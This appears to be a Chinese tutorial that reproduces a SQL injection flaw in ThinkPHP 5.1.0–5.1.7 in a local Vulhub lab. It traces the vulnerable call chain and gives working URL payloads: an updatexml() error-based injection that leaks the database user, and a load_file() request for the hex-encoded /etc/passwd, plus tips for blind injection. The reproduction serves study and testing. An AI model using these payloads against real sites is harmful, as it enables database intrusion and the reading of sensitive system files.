ThinkPHP 5.1.6存在SQL注入漏洞,源于Builder::parseData方法未过滤用户输入的数组数据,直接拼入SQL语句;影响版本为5.1.0≤ThinkPHP≤5.1.7,利用payload如?ids[0]=point&ids[1]=1&ids[2]=updatexml(1,concat(0x7e,user(),0x7e),1)^&ids[3]=0可触发报错注入。

复现ThinkPHP 5.1.6数据库注入漏洞,核心在于触发Builder::parseData中未过滤的用户输入拼接进SQL语句。该漏洞影响版本明确为5.1.0 ≤ ThinkPHP ≤ 5.1.7,5.1.6正处其中,且无需登录、无需特殊配置(默认debug关闭也可利用)。
环境快速搭建
推荐使用Vulhub标准环境,避免版本偏差导致复现失败:
- 进入对应目录:
cd vulhub/thinkphp/5.1.6-sqli - 启动容器:
docker-compose up -d - 确认服务运行:
curl http://127.0.0.1:8080/index.php?ids[]=1应返回正常页面或数据库查询结果 - 切勿手动下载源码或修改composer.json——版本号必须精确匹配,否则
parseData逻辑可能不同
定位漏洞触发点
该漏洞本质是where('field', 'in', $array)调用链中,对数组元素未做类型/内容校验,直接进入parseData并拼入SQL。典型触发代码位于控制器中:
$ids = input('ids/a'); // 接收数组
$result = db('user')->where('id', 'in', $ids)->select(); // 关键调用
对应调用路径为:Query::select() → Builder::buildWhere() → parseWhereItem() → parseArrayData() → parseData()。在parseData中,若$value为数组且含非法结构(如[0]=point&[1]=1&[2]=updatexml(...)),就会被原样拼入IN子句。
立即学习“PHP免费学习笔记(深入)”;
构造并验证Payload
使用updatexml()报错注入最稳定,绕过简单,无需union或回显:
- 基础探测(确认可注入):
http://127.0.0.1:8080/index.php?ids[0]=point&ids[1]=1&ids[2]=updatexml(1,concat(0x7e,user(),0x7e),1)^&ids[3]=0 - 若页面返回MySQL错误且含当前数据库用户名(如
XPATH syntax error: "~root@localhost~"),说明已成功触发 - 读取敏感文件(需MySQL有FILE权限):
http://127.0.0.1:8080/index.php?ids[0]=point&ids[1]=1&ids[2]=load_file(0x2f6574632f706173737764)&ids[3]=0(十六进制编码/etc/passwd) - 注意:URL中
^用于闭合原有SQL语法,point和0是占位符,确保数组长度与SQL模板匹配
关键细节提醒
这个漏洞容易卡在几个实际环节:
- 参数名必须是数组形式(
ids[]或ids[0]等),单值参数不会走parseArrayData分支 - PHP版本需≥5.4(ThinkPHP 5.1要求),但不宜用PHP 8+,部分旧版ThinkPHP存在兼容性问题
- 数据库必须是MySQL(或兼容updatexml/load_file的MariaDB),SQLite或PostgreSQL不适用
- 若返回空白页而非报错,检查是否开启了
display_errors=Off或error_reporting=0——此时可改用布尔盲注或时间盲注进一步验证



















